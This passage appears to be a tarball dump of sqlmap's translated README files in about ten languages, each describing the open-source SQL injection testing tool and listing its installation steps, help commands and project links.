2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen. Screenshots --- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Du kannst eine [Sammlung von Screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), die einige der Funktionen demonstrieren, auf dem Wiki einsehen. Installation --- [Hier](https://github.com/sqlmapproject/sqlmap/tarball/master) kannst du das neueste TAR-Archiv herunterladen und [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) das neueste ZIP-Archiv. Vorzugsweise kannst du sqlmap herunterladen, indem du das [GIT](https://github.com/sqlmapproject/sqlmap) Repository klonst: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap funktioniert sofort mit den [Python](https://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform. Benutzung --- Um eine Liste aller grundsätzlichen Optionen und Switches zu bekommen, nutze diesen Befehl: python sqlmap.py -h Um eine Liste alles Optionen und Switches zu bekommen, nutze diesen Befehl: python sqlmap.py -hh Ein Probelauf ist [hier](https://asciinema.org/a/46601) zu finden. Um einen Überblick über sqlmap's Fähigkeiten, unterstütze Funktionen und eine Erklärung aller Optionen und Switches, zusammen mit Beispielen, zu erhalten, wird das [Benutzerhandbuch](https://github.com/sqlmapproject/sqlmap/wiki/Usage) empfohlen. Links --- * Webseite: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues * Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki * Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-es-MX.md000066400000000000000000000065151502261744200205320ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". Capturas de Pantalla --- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Visita la [colección de capturas de pantalla](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demuestra algunas de las características en la documentación(wiki). Instalación --- Se puede descargar el "tarball" más actual haciendo clic [aquí](https://github.com/sqlmapproject/sqlmap/tarball/master) o el "zipball" [aquí](https://github.com/sqlmapproject/sqlmap/zipball/master). Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma. Uso --- Para obtener una lista de opciones básicas: python sqlmap.py -h Para obtener una lista de todas las opciones: python sqlmap.py -hh Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601). Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Enlaces --- * Página principal: https://sqlmap.org * Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom * Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues * Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-fa-IR.md000066400000000000000000000072621502261744200204770ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap)
برنامه `sqlmap`، یک برنامه‌ی تست نفوذ منبع باز است که فرآیند تشخیص و اکسپلویت پایگاه های داده با مشکل امنیتی SQL Injection را بطور خودکار انجام می دهد. این برنامه مجهز به موتور تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصصان تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق ارتباط Out Of Band درسیستم عامل را امکان پذیر می‌کند. تصویر محیط ابزار ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
برای نمایش [مجموعه ای از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از دانشنامه دیدن کنید. نصب ---- برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید. نحوه استفاده ---- برای دریافت لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید:
``` python sqlmap.py -h ```
برای دریافت لیست تمامی ارگومان‌ها می‌توانید از دستور زیر استفاده کنید:
``` python sqlmap.py -hh ```
برای اجرای سریع و ساده ابزار می توانید از [اینجا](https://asciinema.org/a/46601) استفاده کنید. برای دریافت اطلاعات بیشتر در رابطه با قابلیت ها ، امکانات قابل پشتیبانی و لیست کامل امکانات و دستورات همراه با مثال می‌ توانید به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. لینک‌ها ---- * خانه: https://sqlmap.org * دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یا [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom * پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues * راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki * سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ * توییتر: [@sqlmap](https://x.com/sqlmap) * رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-fr-FR.md000066400000000000000000000063461502261744200205170ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) **sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation. ---- ![Les Captures d'écran](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) démontrent des fonctionnalités de __sqlmap__. Installation ---- Vous pouvez télécharger le fichier "tarball" le plus récent en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger l'archive zip la plus récente [ici](https://github.com/sqlmapproject/sqlmap/zipball/master). De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](https://www.python.org/download/) Utilisation ---- Pour afficher une liste des fonctions de bases et des commutateurs (switches), tapez: python sqlmap.py -h Pour afficher une liste complète des options et des commutateurs (switches), tapez: python sqlmap.py -hh Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Liens ---- * Page d'acceuil: https://sqlmap.org * Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues * Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-gr-GR.md000066400000000000000000000101721502261744200205110ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων. Εικόνες ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Μπορείτε να επισκεφτείτε τη [συλλογή από εικόνες](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) που επιδεικνύουν κάποια από τα χαρακτηριστικά. Εγκατάσταση ---- Έχετε τη δυνατότητα να κατεβάσετε την τελευταία tarball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/tarball/master) ή την τελευταία zipball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/zipball/master). Κατά προτίμηση, μπορείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap) αποθετήριο: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα. Χρήση ---- Για να δείτε μια βασική λίστα από επιλογές πατήστε: python sqlmap.py -h Για να πάρετε μια λίστα από όλες τις επιλογές πατήστε: python sqlmap.py -hh Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://asciinema.org/a/46601). Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Σύνδεσμοι ---- * Αρχική σελίδα: https://sqlmap.org * Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues * Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki * Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-hr-HR.md000066400000000000000000000061161502261744200205160ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza. Slike zaslona ---- ![Slika zaslona](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Možete posjetiti [kolekciju slika zaslona](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gdje se demonstriraju neke od značajki na wiki stranicama. Instalacija ---- Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/tarball/master) ili zadnji zipball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/zipball/master). Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi. Korištenje ---- Kako biste dobili listu osnovnih opcija i prekidača koristite: python sqlmap.py -h Kako biste dobili listu svih opcija i prekidača koristite: python sqlmap.py -hh Možete pronaći primjer izvršavanja [ovdje](https://asciinema.org/a/46601). Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Poveznice ---- * Početna stranica: https://sqlmap.org * Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-id-ID.md000066400000000000000000000060551502261744200204660ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih dan fitur-fitur handal yang berguna bagi _penetration tester_. Perangkat lunak ini menawarkan berbagai cara untuk mendeteksi basis data bahkan dapat mengakses sistem file dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. Tangkapan Layar ---- ![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Anda juga dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. Instalasi ---- Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada repositori [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun. Penggunaan ---- Untuk mendapatkan daftar opsi dasar gunakan perintah: python sqlmap.py -h Untuk mendapatkan daftar opsi lanjutan gunakan perintah: python sqlmap.py -hh Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601). Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya. Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Tautan ---- * Situs: https://sqlmap.org * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS Feed Dari Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki * Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-in-HI.md000066400000000000000000000113721502261744200205020ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं। चित्रसंवाद ---- ![स्क्रीनशॉट](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) आप [विकि पर](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) कुछ फीचर्स की दिखाते हुए छवियों का संग्रह देख सकते हैं। स्थापना ---- आप नवीनतम तारबाल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/tarball/master) या नवीनतम ज़िपबॉल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/zipball/master) डाउनलोड कर सकते हैं। प्राथमिकत: आप sqlmap को [गिट](https://github.com/sqlmapproject/sqlmap) रिपॉजिटरी क्लोन करके भी डाउनलोड कर सकते हैं: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap [Python](https://www.python.org/download/) संस्करण **2.6**, **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है। उपयोग ---- मौलिक विकल्पों और स्विच की सूची प्राप्त करने के लिए: python sqlmap.py -h सभी विकल्पों और स्विच की सूची प्राप्त करने के लिए: python sqlmap.py -hh आप [यहां](https://asciinema.org/a/46601) एक नमूना चलाने का पता लगा सकते हैं। sqlmap की क्षमताओं की एक अवलोकन प्राप्त करने, समर्थित फीचर्स की सूची और सभी विकल्पों और स्विच का वर्णन, साथ ही उदाहरणों के साथ, आपको [उपयोगकर्ता मैन्युअल](https://github.com/sqlmapproject/sqlmap/wiki/Usage) पर परामर्श दिया जाता है। लिंक ---- * मुखपृष्ठ: https://sqlmap.org * डाउनलोड: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) या [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * संवाद आरएसएस फ़ीड: https://github.com/sqlmapproject/sqlmap/commits/master.atom * समस्या ट्रैकर: https://github.com/sqlmapproject/sqlmap/issues * उपयोगकर्ता मैन्युअल: https://github.com/sqlmapproject/sqlmap/wiki * अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * ट्विटर: [@sqlmap](https://x.com/sqlmap) * डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * sqlmap-1.9.6/doc/translations/README-it-IT.md000066400000000000000000000062631502261744200205270ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. Screenshot ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Nella wiki puoi visitare [l'elenco di screenshot](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) che mostrano il funzionamento di alcune delle funzionalità del programma. Installazione ---- Puoi scaricare l'ultima tarball cliccando [qui](https://github.com/sqlmapproject/sqlmap/tarball/master) oppure l'ultima zipball cliccando [qui](https://github.com/sqlmapproject/sqlmap/zipball/master). La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma. Utilizzo ---- Per una lista delle opzioni e dei controlli di base: python sqlmap.py -h Per una lista di tutte le opzioni e di tutti i controlli: python sqlmap.py -hh Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601). Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (disponibile solo in inglese). Link ---- * Sito: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-ja-JP.md000066400000000000000000000067731502261744200205100ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。 強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。 スクリーンショット ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) wikiに載っているいくつかの機能のデモをスクリーンショットで見ることができます。 [スクリーンショット集](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) インストール ---- 最新のtarballを 